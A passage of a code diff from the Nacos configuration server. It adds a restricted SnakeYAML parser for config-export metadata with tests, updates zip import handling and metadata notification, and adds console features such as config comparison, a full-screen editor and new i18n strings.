private static Yaml yaml;
|
||||
|
||||
static {
|
||||
Representer representer = new Representer() {
|
||||
|
||||
protected NodeTuple representJavaBeanProperty(Object javaBean, Property property, Object propertyValue,
|
||||
Tag customTag) {
|
||||
if (propertyValue == null) {
|
||||
return null;
|
||||
} else {
|
||||
return super.representJavaBeanProperty(javaBean, property, propertyValue, customTag);
|
||||
}
|
||||
}
|
||||
};
|
||||
yaml = new Yaml(new YamlParserConstructor(), representer);
|
||||
}
|
||||
|
||||
/**
|
||||
* Serialize a Java object into a YAML string.
|
||||
*
|
||||
* @param object Java object.
|
||||
* @return YAML string.
|
||||
*/
|
||||
public static String dumpObject(Object object) {
|
||||
return yaml.dumpAsMap(object);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse YAML String and produce the corresponding Java object (Standard Java classes and in YamlParserConstructor
|
||||
* specified Construct).
|
||||
*
|
||||
* @param content YAML String
|
||||
* @param type Java object.
|
||||
* @param <T> Java object type.
|
||||
* @return Java object.
|
||||
*/
|
||||
public static <T> T loadObject(String content, Class<T> type) {
|
||||
return yaml.loadAs(content, type);
|
||||
}
|
||||
|
||||
public static class YamlParserConstructor extends SafeConstructor {
|
||||
|
||||
public static Tag configMetadataTag = new Tag(ConfigMetadata.class);
|
||||
|
||||
public YamlParserConstructor() {
|
||||
super();
|
||||
yamlConstructors.put(configMetadataTag, new ConstructYamlConfigMetadata());
|
||||
}
|
||||
}
|
||||
|
||||
public static class ConstructYamlConfigMetadata extends AbstractConstruct {
|
||||
|
||||
@Override
|
||||
public Object construct(Node node) {
|
||||
if (!YamlParserConstructor.configMetadataTag.getValue().equals(node.getTag().getValue())) {
|
||||
throw new NacosRuntimeException(NacosException.INVALID_PARAM,
|
||||
"could not determine a constructor for the tag " + node.getTag() + node.getStartMark());
|
||||
}
|
||||
|
||||
MappingNode mNode = (MappingNode) node;
|
||||
List<NodeTuple> value = mNode.getValue();
|
||||
if (CollectionUtils.isEmpty(value)) {
|
||||
return null;
|
||||
}
|
||||
NodeTuple nodeTuple = value.get(0);
|
||||
ConfigMetadata configMetadata = new ConfigMetadata();
|
||||
SequenceNode sequenceNode = (SequenceNode) nodeTuple.getValueNode();
|
||||
if (CollectionUtils.isEmpty(sequenceNode.getValue())) {
|
||||
return configMetadata;
|
||||
}
|
||||
|
||||
List<ConfigMetadata.ConfigExportItem> exportItems = sequenceNode.getValue().stream().map(itemValue -> {
|
||||
ConfigMetadata.ConfigExportItem configExportItem = new ConfigMetadata.ConfigExportItem();
|
||||
MappingNode itemMap = (MappingNode) itemValue;
|
||||
List<NodeTuple> propertyValues = itemMap.getValue();
|
||||
Map<String, String> metadataMap = new HashMap<>(propertyValues.size());
|
||||
propertyValues.forEach(metadata -> {
|
||||
ScalarNode keyNode = (ScalarNode) metadata.getKeyNode();
|
||||
ScalarNode valueNode = (ScalarNode) metadata.getValueNode();
|
||||
metadataMap.put(keyNode.getValue(), valueNode.getValue());
|
||||
});
|
||||
configExportItem.setDataId(metadataMap.get("dataId"));
|
||||
configExportItem.setGroup(metadataMap.get("group"));
|
||||
configExportItem.setType(metadataMap.get("type"));
|
||||
configExportItem.setDesc(metadataMap.get("desc"));
|
||||
configExportItem.setAppName(metadataMap.get("appName"));
|
||||
return configExportItem;
|
||||
}).collect(Collectors.toList());
|
||||
|
||||
configMetadata.setMetadata(exportItems);
|
||||
return configMetadata;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -16,6 +16,7 @@
|
||||
|
||||
package com.alibaba.nacos.config.server.utils;
|
||||
|
||||
import com.alibaba.nacos.config.server.constant.Constants;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
|
||||
@ -133,11 +134,16 @@ public class ZipUtils {
|
||||
while ((offset = zipIn.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, offset);
|
||||
}
|
||||
if (".meta.yml".equals(entry.getName())) {
|
||||
metaDataItem = new ZipItem(entry.getName(), out.toString("UTF-8"));
|
||||
} else {
|
||||
itemList.add(new ZipItem(entry.getName(), out.toString("UTF-8")));
|
||||
String entryName = entry.getName();
|
||||
if (metaDataItem == null && Constants.CONFIG_EXPORT_METADATA.equals(entryName)) {
|
||||
metaDataItem = new ZipItem(entryName, out.toString("UTF-8"));
|
||||
continue;
|
||||
}
|
||||
if (metaDataItem == null && Constants.CONFIG_EXPORT_METADATA_NEW.equals(entryName)) {
|
||||
metaDataItem = new ZipItem(entryName, out.toString("UTF-8"));
|
||||
continue;
|
||||
}
|
||||
itemList.add(new ZipItem(entryName, out.toString("UTF-8")));
|
||||
} catch (IOException e) {
|
||||
LOGGER.error("unzip error", e);
|
||||
}
|
||||
|
@ -0,0 +1,97 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.config.server.utils;
|
||||
|
||||
import com.alibaba.nacos.config.server.model.ConfigMetadata;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.yaml.snakeyaml.constructor.ConstructorException;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class YamlParserUtilTest {
|
||||
|
||||
private static final String CONFIG_METADATA_STRING =
|
||||
"metadata:\n" + "- dataId: testData1\n" + " group: testGroup1\n" + " type: text\n"
|
||||
+ "- appName: testAppName\n" + " dataId: testData2\n" + " desc: test desc\n"
|
||||
+ " group: testGroup2\n" + " type: yaml\n";
|
||||
|
||||
private ConfigMetadata.ConfigExportItem item1;
|
||||
|
||||
private ConfigMetadata.ConfigExportItem item2;
|
||||
|
||||
@Before
|
||||
public void setUp() {
|
||||
item1 = new ConfigMetadata.ConfigExportItem();
|
||||
item1.setDataId("testData1");
|
||||
item1.setGroup("testGroup1");
|
||||
item1.setType("text");
|
||||
|
||||
item2 = new ConfigMetadata.ConfigExportItem();
|
||||
item2.setDataId("testData2");
|
||||
item2.setGroup("testGroup2");
|
||||
item2.setType("yaml");
|
||||
item2.setAppName("testAppName");
|
||||
item2.setDesc("test desc");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testDumpObject() {
|
||||
ConfigMetadata configMetadata = new ConfigMetadata();
|
||||
List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();
|
||||
configMetadataItems.add(item1);
|
||||
configMetadataItems.add(item2);
|
||||
configMetadata.setMetadata(configMetadataItems);
|
||||
|
||||
String parseString = YamlParserUtil.dumpObject(configMetadata);
|
||||
Assert.assertEquals(CONFIG_METADATA_STRING, parseString);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testLoadObject() {
|
||||
ConfigMetadata configMetadata = YamlParserUtil.loadObject(CONFIG_METADATA_STRING, ConfigMetadata.class);
|
||||
Assert.assertNotNull(configMetadata);
|
||||
|
||||
List<ConfigMetadata.ConfigExportItem> metadataList = configMetadata.getMetadata();
|
||||
Assert.assertNotNull(metadataList);
|
||||
Assert.assertEquals(metadataList.size(), 2);
|
||||
ConfigMetadata.ConfigExportItem configExportItem1 = metadataList.get(0);
|
||||
ConfigMetadata.ConfigExportItem configExportItem2 = metadataList.get(1);
|
||||
Assert.assertEquals(configExportItem1, item1);
|
||||
Assert.assertEquals(configExportItem2, item2);
|
||||
}
|
||||
|
||||
@Test(expected = ConstructorException.class)
|
||||
public void testNotSupportType() {
|
||||
YamlParserUtil.loadObject("name: test", YamlTest.class);
|
||||
}
|
||||
|
||||
private static class YamlTest {
|
||||
|
||||
private String name;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
}
|
||||
}
|
@ -85,7 +85,7 @@
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<relativePath>../pom.xml</relativePath>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
|
||||
<properties>
|
||||
|
@ -16,8 +16,6 @@
|
||||
|
||||
package com.alibaba.nacos.consistency;
|
||||
|
||||
import com.alibaba.nacos.common.executor.ExecutorFactory;
|
||||
import com.alibaba.nacos.common.executor.NameThreadFactory;
|
||||
import com.alibaba.nacos.common.utils.Observable;
|
||||
import com.alibaba.nacos.common.utils.Observer;
|
||||
import com.alibaba.nacos.common.utils.StringUtils;
|
||||
@ -25,26 +23,19 @@ import org.javatuples.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.TreeMap;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.concurrent.Executor;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.locks.ReentrantReadWriteLock;
|
||||
|
||||
/**
|
||||
* Consistent protocol metadata information, <Key, <Key, Value >> structure Listeners that can register to listen to
|
||||
* changes in value.
|
||||
* Consistent protocol metadata information, <Key, <Key, Value >> structure Listeners that can register to
|
||||
* listen to changes in value.
|
||||
*
|
||||
* @author <a href="mailto:liaochuntao@live.com">liaochuntao</a>
|
||||
*/
|
||||
@SuppressWarnings("PMD.Rule:CollectionInitShouldAssignCapacityRule")
|
||||
public final class ProtocolMetaData {
|
||||
|
||||
private static final Executor EXECUTOR = ExecutorFactory.Managed
|
||||
.newFixedExecutorService(ProtocolMetaData.class.getCanonicalName(), 4,
|
||||
new NameThreadFactory("com.alibaba.nacos.consistency.protocol.metadata"));
|
||||
|
||||
private Map<String, MetaData> metaDataMap = new ConcurrentHashMap<>(4);
|
||||
private final Map<String, MetaData> metaDataMap = new ConcurrentHashMap<>(4);
|
||||
|
||||
public Map<String, Map<Object, Object>> getMetaDataMap() {
|
||||
return metaDataMap.entrySet().stream().map(entry -> Pair.with(entry.getKey(),
|
||||
@ -72,7 +63,7 @@ public final class ProtocolMetaData {
|
||||
/**
|
||||
* get protocol metadata by group and key.
|
||||
*
|
||||
* @param group group name
|
||||
* @param group group name
|
||||
* @param subKey key
|
||||
* @return target value
|
||||
*/
|
||||
@ -154,8 +145,6 @@ public final class ProtocolMetaData {
|
||||
|
||||
private volatile Object data;
|
||||
|
||||
private transient BlockingQueue<Object> deferObject = new LinkedBlockingQueue<>();
|
||||
|
||||
public ValueItem(String path) {
|
||||
this.path = path;
|
||||
}
|
||||
@ -173,19 +162,15 @@ public final class ProtocolMetaData {
|
||||
writeLock.lock();
|
||||
try {
|
||||
this.data = data;
|
||||
deferObject.offer(data);
|
||||
setChanged();
|
||||
|
||||
EXECUTOR.execute(() -> {
|
||||
try {
|
||||
notifyObservers(deferObject.take());
|
||||
} catch (InterruptedException ignore) {
|
||||
Thread.interrupted();
|
||||
}
|
||||
});
|
||||
notifyObservers();
|
||||
} finally {
|
||||
writeLock.unlock();
|
||||
}
|
||||
}
|
||||
|
||||
public String getPath() {
|
||||
return path;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -46,8 +46,9 @@ public class ProtocolMetaDataTest {
|
||||
|
||||
CountDownLatch latch = new CountDownLatch(2);
|
||||
|
||||
metaData.subscribe("global", "test-1", (o, arg) -> {
|
||||
System.out.println(arg);
|
||||
metaData.subscribe("global", "test-1", o -> {
|
||||
ProtocolMetaData.ValueItem item = (ProtocolMetaData.ValueItem) o;
|
||||
System.out.println(item.getData());
|
||||
count.incrementAndGet();
|
||||
latch.countDown();
|
||||
});
|
||||
|
@ -41,7 +41,6 @@ module.exports = Object.assign({}, base, {
|
||||
new OptimizeCSSAssetsPlugin({}),
|
||||
],
|
||||
},
|
||||
devtool: 'eval-source-map',
|
||||
plugins: [
|
||||
new CleanWebpackPlugin({
|
||||
cleanOnceBeforeBuildPatterns:[
|
||||
|
@ -102,7 +102,6 @@ class DiffEditorDialog extends React.Component {
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
console.log(footer);
|
||||
return (
|
||||
<div>
|
||||
<Dialog
|
||||
|
@ -165,8 +165,8 @@ class NameSpaceList extends React.Component {
|
||||
const namespacesBtn = namespaceList.map((obj, index) => {
|
||||
const style =
|
||||
obj.namespace === nownamespace
|
||||
? { color: '#00C1DE', marginRight: 10, border: 'none', fontSize: 12 }
|
||||
: { color: '#666', marginRight: 10, border: 'none', fontSize: 12 };
|
||||
? { color: '#00C1DE', paddingRight: 10, border: 'none', fontSize: 12 }
|
||||
: { color: '#666', paddingRight: 10, border: 'none', fontSize: 12 };
|
||||
return (
|
||||
<div key={index} style={{ float: 'left', cursor: 'pointer' }}>
|
||||
{index === 0 ? '' : <span style={{ marginRight: 5, marginLeft: 5 }}>|</span>}
|
||||
|
@ -28,6 +28,8 @@ const I18N_CONF = {
|
||||
},
|
||||
Login: {
|
||||
login: 'Login',
|
||||
internalSysTip1: 'Internal system.',
|
||||
internalSysTip2: 'Not exposed to the public network',
|
||||
submit: 'Submit',
|
||||
pleaseInputUsername: 'Please input username',
|
||||
pleaseInputPassword: 'Please input password',
|
||||
@ -117,6 +119,7 @@ const I18N_CONF = {
|
||||
prompt: 'Confirm',
|
||||
promptDelete: 'Do you want to delete the service?',
|
||||
create: 'Create Service',
|
||||
subscriber: 'Subscriber',
|
||||
},
|
||||
SubscriberList: {
|
||||
subscriberList: 'Subscriber List',
|
||||
@ -271,8 +274,8 @@ const I18N_CONF = {
|
||||
configurationManagement8: 'configuration management',
|
||||
queryResults: 'Search Results: Found',
|
||||
articleMeetRequirements: 'configuration items',
|
||||
fuzzyd: 'Add wildcard \'*\' for fuzzy query',
|
||||
fuzzyg: 'Add wildcard \'*\' for fuzzy query',
|
||||
fuzzyd: "Add wildcard '*' for fuzzy query",
|
||||
fuzzyg: "Add wildcard '*' for fuzzy query",
|
||||
query: 'Search',
|
||||
advancedQuery9: 'Advanced Query',
|
||||
application0: 'Application:',
|
||||
@ -282,6 +285,7 @@ const I18N_CONF = {
|
||||
application: 'Application',
|
||||
operation: 'Operation',
|
||||
export: 'Export query results',
|
||||
newExport: 'New version export query results',
|
||||
import: 'Import',
|
||||
uploadBtn: 'Upload File',
|
||||
importSucc: 'The import was successful',
|
||||
@ -301,16 +305,20 @@ const I18N_CONF = {
|
||||
samePreparation: 'Same preparation',
|
||||
targetNamespace: 'Target namespace',
|
||||
conflictConfig: 'Conflict-detected configuration items',
|
||||
importSuccEntries: 'Successful entries: ',
|
||||
failureEntries: 'Failure entries',
|
||||
unprocessedEntries: 'Unprocessed entries',
|
||||
unrecognizedEntries: 'Unrecognized entries',
|
||||
skippedEntries: 'skipped entries',
|
||||
exportSelected: 'Export selected configs',
|
||||
newExportSelected: 'New version export selected configs',
|
||||
clone: 'Clone',
|
||||
exportSelectedAlertTitle: 'Export config',
|
||||
exportSelectedAlertContent: 'please select the configuration to export',
|
||||
cloneSucc: 'The clone was successful',
|
||||
cloneAbort: 'Clone abort',
|
||||
cloneSuccBegin: 'The clone was successful,with ',
|
||||
cloneSuccEntries: 'Successful entries: ',
|
||||
cloneSuccEnd: 'configuration items cloned',
|
||||
cloneFail: 'Clone failed',
|
||||
getNamespaceFailed: 'get the namespace failed',
|
||||
@ -507,6 +515,14 @@ const I18N_CONF = {
|
||||
versionComparison: 'Version Comparison',
|
||||
dialogCurrentArea: 'Current Version',
|
||||
dialogOriginalArea: 'Previous Version',
|
||||
configComparison: 'Config Comparison',
|
||||
dialogCurrentConfig: 'Current Config',
|
||||
dialogComparedConfig: 'Compared Config',
|
||||
configComparisonTitle: 'Select Config',
|
||||
dataIdInput: 'Please Enter Data Id',
|
||||
groupInput: 'Please Enter Group',
|
||||
namespaceSelect: 'Please Select namespace',
|
||||
configNotFind: 'The Configuration is not found, Please select again',
|
||||
},
|
||||
ConfigRollback: {
|
||||
rollBack: 'Roll Back',
|
||||
|
@ -26,6 +26,7 @@ const I18N_CONF = {
|
||||
},
|
||||
Login: {
|
||||
login: '登录',
|
||||
internalSysTip1: '内部系统,不可暴露到公网',
|
||||
submit: '提交',
|
||||
pleaseInputUsername: '请输入用户名',
|
||||
pleaseInputPassword: '请输入密码',
|
||||
@ -117,6 +118,7 @@ const I18N_CONF = {
|
||||
prompt: '提示',
|
||||
promptDelete: '确定要删除当前服务吗?',
|
||||
create: '创建服务',
|
||||
subscriber: '订阅者',
|
||||
},
|
||||
SubscriberList: {
|
||||
subscriberList: '订阅者列表',
|
||||
@ -270,8 +272,8 @@ const I18N_CONF = {
|
||||
configurationManagement8: '配置管理',
|
||||
queryResults: '查询结果:共查询到',
|
||||
articleMeetRequirements: '条满足要求的配置。',
|
||||
fuzzyd: '添加通配符\'*\'进行模糊查询',
|
||||
fuzzyg: '添加通配符\'*\'进行模糊查询',
|
||||
fuzzyd: "添加通配符'*'进行模糊查询",
|
||||
fuzzyg: "添加通配符'*'进行模糊查询",
|
||||
query: '查询',
|
||||
advancedQuery9: '高级查询',
|
||||
application0: '归属应用:',
|
||||
@ -281,6 +283,7 @@ const I18N_CONF = {
|
||||
application: '归属应用:',
|
||||
operation: '操作',
|
||||
export: '导出查询结果',
|
||||
newExport: '新版导出查询结果',
|
||||
import: '导入配置',
|
||||
uploadBtn: '上传文件',
|
||||
importSucc: '导入成功',
|
||||
@ -299,16 +302,20 @@ const I18N_CONF = {
|
||||
samePreparation: '相同配置',
|
||||
targetNamespace: '目标空间',
|
||||
conflictConfig: '检测到冲突的配置项',
|
||||
importSuccEntries: '成功导入条目数: ',
|
||||
failureEntries: '失败的条目',
|
||||
unprocessedEntries: '未处理的条目',
|
||||
unrecognizedEntries: '未识别的条目',
|
||||
skippedEntries: '跳过的条目',
|
||||
exportSelected: '导出选中的配置',
|
||||
newExportSelected: '新版导出选中的配置',
|
||||
clone: '克隆',
|
||||
exportSelectedAlertTitle: '配置导出',
|
||||
exportSelectedAlertContent: '请选择要导出的配置',
|
||||
cloneSucc: '克隆成功',
|
||||
cloneAbort: '克隆终止',
|
||||
cloneSuccBegin: '克隆成功,克隆了',
|
||||
cloneSuccEntries: '成功克隆条目数: ',
|
||||
cloneSuccEnd: '项配置',
|
||||
cloneFail: '克隆失败',
|
||||
getNamespaceFailed: '获取命名空间失败',
|
||||
@ -504,6 +511,14 @@ const I18N_CONF = {
|
||||
versionComparison: '版本对比',
|
||||
dialogCurrentArea: '当前版本',
|
||||
dialogOriginalArea: '上一版本',
|
||||
configComparison: '配置对比',
|
||||
dialogCurrentConfig: '当前配置',
|
||||
dialogComparedConfig: '被比较配置',
|
||||
configComparisonTitle: '选择配置',
|
||||
dataIdInput: '请输入Data Id',
|
||||
groupInput: '请输入Group',
|
||||
namespaceSelect: '请选择命名空间',
|
||||
configNotFind: '未查询到指定配置,请重新选择',
|
||||
},
|
||||
ConfigRollback: {
|
||||
rollBack: '回滚配置',
|
||||
|
@ -0,0 +1,136 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
import PropTypes from 'prop-types';
|
||||
import { Field, Form, Input, Dialog, ConfigProvider, Select } from '@alifd/next';
|
||||
import { connect } from 'react-redux';
|
||||
import { getNamespaces } from '../../../reducers/namespace';
|
||||
import { request } from '../../../globalLib';
|
||||
const FormItem = Form.Item;
|
||||
const { Option } = Select;
|
||||
|
||||
const formItemLayout = {
|
||||
labelCol: { fixedSpan: 4 },
|
||||
wrapperCol: { span: 19 },
|
||||
};
|
||||
@connect(state => ({ namespaces: state.namespace.namespaces }), { getNamespaces })
|
||||
@ConfigProvider.config
|
||||
class ConfigCompared extends React.Component {
|
||||
static displayName = 'ConfigCompare';
|
||||
|
||||
field = new Field(this);
|
||||
|
||||
static propTypes = {
|
||||
locale: PropTypes.object,
|
||||
dataId: PropTypes.string,
|
||||
group: PropTypes.string,
|
||||
visible: PropTypes.bool,
|
||||
onOk: PropTypes.func,
|
||||
onCancel: PropTypes.func,
|
||||
};
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
namespacesDataSource: [],
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.getNamespaces();
|
||||
}
|
||||
|
||||
getNamespaces() {
|
||||
request({
|
||||
type: 'get',
|
||||
url: 'v1/console/namespaces',
|
||||
success: res => {
|
||||
if (res.code === 200) {
|
||||
const { namespacesDataSource } = this.state;
|
||||
this.setState({ namespacesDataSource: res.data });
|
||||
} else {
|
||||
Dialog.alert({
|
||||
title: prompt,
|
||||
content: res.message,
|
||||
});
|
||||
}
|
||||
},
|
||||
error: res => {
|
||||
window.namespaceList = [
|
||||
{
|
||||
namespace: '',
|
||||
namespaceShowName: '公共空间',
|
||||
type: 0,
|
||||
},
|
||||
];
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
render() {
|
||||
const { locale = {} } = this.props;
|
||||
const { getError } = this.field;
|
||||
const { visible, onOk, onCancel, dataId, group } = this.props;
|
||||
const { namespacesDataSource } = this.state;
|
||||
return (
|
||||
<>
|
||||
<Dialog
|
||||
title={locale.configComparisonTitle}
|
||||
visible={visible}
|
||||
onOk={() => {
|
||||
const fields = {
|
||||
dataId: 'dataId',
|
||||
group: 'group',
|
||||
namespace: 'namespace',
|
||||
};
|
||||
const vals = Object.keys(fields).map(key => {
|
||||
return this.field.getValue(key);
|
||||
});
|
||||
onOk(vals);
|
||||
}}
|
||||
onClose={onCancel}
|
||||
onCancel={onCancel}
|
||||
afterClose={() => this.field.reset()}
|
||||
>
|
||||
<Form style={{ width: 430 }} {...formItemLayout} field={this.field}>
|
||||
<FormItem label={'namespace'} help={getError('namespace')}>
|
||||
<Select
|
||||
name="namespace"
|
||||
placeholder={locale.namespaceSelect}
|
||||
style={{ width: '100%' }}
|
||||
>
|
||||
{namespacesDataSource.map(({ namespace, namespaceShowName }) => (
|
||||
<Option value={namespace}>
|
||||
{namespaceShowName} {namespace ? `(${namespace})` : ''}
|
||||
</Option>
|
||||
))}
|
||||
</Select>
|
||||
</FormItem>
|
||||
<FormItem label={'Data Id'} required help={getError('Data Id')}>
|
||||
<Input name="dataId" trim placeholder={locale.dataIdInput} defaultValue={dataId} />
|
||||
</FormItem>
|
||||
<FormItem label={'Group'} required help={getError('Group')}>
|
||||
<Input name="group" trim placeholder={locale.configComparison} defaultValue={group} />
|
||||
</FormItem>
|
||||
</Form>
|
||||
</Dialog>
|
||||
</>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default ConfigCompared;
|
@ -32,6 +32,8 @@ import DiffEditorDialog from '../../../components/DiffEditorDialog';
|
||||
|
||||
import './index.scss';
|
||||
import PropTypes from 'prop-types';
|
||||
import requestUtils from '../../../utils/request';
|
||||
import ConfigCompared from './ConfigCompared';
|
||||
|
||||
const TabPane = Tab.Item;
|
||||
const FormItem = Form.Item;
|
||||
@ -57,6 +59,7 @@ class ConfigDetail extends React.Component {
|
||||
checkedBeta: false,
|
||||
switchEncrypt: false,
|
||||
tag: [],
|
||||
editorClass: 'editor-normal',
|
||||
};
|
||||
this.field = new Field(this);
|
||||
this.dataId = getParams('dataId') || 'yanlin';
|
||||
@ -69,12 +72,14 @@ class ConfigDetail extends React.Component {
|
||||
this.pageSize = getParams('pageSize');
|
||||
this.pageNo = getParams('pageNo');
|
||||
this.diffEditorDialog = React.createRef();
|
||||
this.compareEditorDialog = React.createRef();
|
||||
// this.params = window.location.hash.split('?')[1]||'';
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.initData();
|
||||
this.getDataDetail();
|
||||
this.initFullScreenEvent();
|
||||
}
|
||||
|
||||
initData() {
|
||||
@ -87,6 +92,22 @@ class ConfigDetail extends React.Component {
|
||||
this.setState({ tag: [{ title: locale.official, key: 'normal' }] });
|
||||
}
|
||||
|
||||
initFullScreenEvent() {
|
||||
document.body.addEventListener('keydown', e => {
|
||||
if (e.key === 'F1') {
|
||||
e.preventDefault();
|
||||
this.setState({
|
||||
editorClass: 'editor-full-screen',
|
||||
});
|
||||
}
|
||||
if (e.key === 'Escape') {
|
||||
this.setState({
|
||||
editorClass: 'editor-normal',
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
openLoading() {
|
||||
this.setState({
|
||||
loading: true,
|
||||
@ -227,8 +248,39 @@ class ConfigDetail extends React.Component {
|
||||
});
|
||||
}
|
||||
|
||||
openCompare = ([dataId, group, tenant]) => {
|
||||
let self = this;
|
||||
const { locale = {} } = this.props;
|
||||
let leftvalue = this.monacoEditor.getValue();
|
||||
const params = {
|
||||
show: 'all',
|
||||
group,
|
||||
dataId,
|
||||
tenant,
|
||||
};
|
||||
requestUtils.get('v1/cs/configs', { params }).then(res => {
|
||||
if (res != null && res !== '') {
|
||||
let rightvalue = res.content;
|
||||
leftvalue = leftvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
|
||||
rightvalue = rightvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
|
||||
self.compareEditorDialog.current.getInstance().openDialog(leftvalue, rightvalue);
|
||||
} else {
|
||||
Dialog.alert({ title: locale.error, content: locale.configNotFind });
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
onClickConfigCompare() {
|
||||
this.setState({ configCompareVisible: true });
|
||||
}
|
||||
|
||||
closeConfigCompare() {
|
||||
this.setState({ configCompareVisible: false });
|
||||
}
|
||||
|
||||
render() {
|
||||
const { locale = {} } = this.props;
|
||||
const { configCompareVisible, editorClass } = this.state;
|
||||
const { init } = this.field;
|
||||
const formItemLayout = {
|
||||
labelCol: {
|
||||
@ -313,11 +365,14 @@ class ConfigDetail extends React.Component {
|
||||
<Input htmlType={'text'} readOnly {...init('md5')} />
|
||||
</FormItem>
|
||||
<FormItem label={locale.configuration} required {...formItemLayout}>
|
||||
<div style={{ clear: 'both', height: 300 }} id="container" />
|
||||
<div className={editorClass} id="container" />
|
||||
</FormItem>
|
||||
</Form>
|
||||
<Row>
|
||||
<Col span="24" className="button-list">
|
||||
<Button size="large" type="primary" onClick={() => this.onClickConfigCompare()}>
|
||||
{locale.configComparison}
|
||||
</Button>{' '}
|
||||
<Button size="large" type="primary" onClick={this.openDiff.bind(this)}>
|
||||
{locale.versionComparison}
|
||||
</Button>{' '}
|
||||
@ -332,7 +387,22 @@ class ConfigDetail extends React.Component {
|
||||
currentArea={locale.dialogCurrentArea}
|
||||
originalArea={locale.dialogOriginalArea}
|
||||
/>
|
||||
<DiffEditorDialog
|
||||
ref={this.compareEditorDialog}
|
||||
title={locale.configComparison}
|
||||
currentArea={locale.dialogCurrentConfig}
|
||||
originalArea={locale.dialogComparedConfig}
|
||||
/>
|
||||
</Loading>
|
||||
<ConfigCompared
|
||||
visible={configCompareVisible}
|
||||
dataId={this.dataId}
|
||||
group={this.group}
|
||||
onOk={config => {
|
||||
this.openCompare(config);
|
||||
}}
|
||||
onCancel={() => this.closeConfigCompare()}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
@ -19,4 +19,17 @@
|
||||
margin-left: 1em;
|
||||
font-size: 14px;
|
||||
}
|
||||
}
|
||||
|
||||
.editor-full-screen {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
z-index: 100;
|
||||
}
|
||||
.editor-normal {
|
||||
clear: both;
|
||||
height: 300px;
|
||||
}
|
@ -369,7 +369,7 @@ class ConfigEditor extends React.Component {
|
||||
appName: this.inApp ? this.edasAppId : this.field.getValue('appName'),
|
||||
group: this.field.getValue('group'),
|
||||
desc: this.field.getValue('desc'),
|
||||
config_tags: this.state.config_tags.join(),
|
||||
config_tags: this.state.config_tags.join(','),
|
||||
type: this.state.configType,
|
||||
content,
|
||||
tenant: this.tenant,
|
||||
|
@ -85,7 +85,9 @@ class ConfigEditor extends React.Component {
|
||||
type: 'text', // 配置格式
|
||||
},
|
||||
tagDataSource: [],
|
||||
subscriberDataSource: [],
|
||||
openAdvancedSettings: false,
|
||||
editorClass: 'editor-normal',
|
||||
};
|
||||
this.successDialog = React.createRef();
|
||||
this.diffEditorDialog = React.createRef();
|
||||
@ -113,6 +115,7 @@ class ConfigEditor extends React.Component {
|
||||
betaPublishSuccess: true,
|
||||
});
|
||||
});
|
||||
this.getSubscribesByNamespace();
|
||||
}
|
||||
);
|
||||
} else {
|
||||
@ -121,6 +124,7 @@ class ConfigEditor extends React.Component {
|
||||
}
|
||||
this.initMoacoEditor('text', '');
|
||||
}
|
||||
this.initFullScreenEvent();
|
||||
});
|
||||
}
|
||||
|
||||
@ -153,6 +157,22 @@ class ConfigEditor extends React.Component {
|
||||
}
|
||||
}
|
||||
|
||||
initFullScreenEvent() {
|
||||
document.body.addEventListener('keydown', e => {
|
||||
if (e.key === 'F1') {
|
||||
e.preventDefault();
|
||||
this.setState({
|
||||
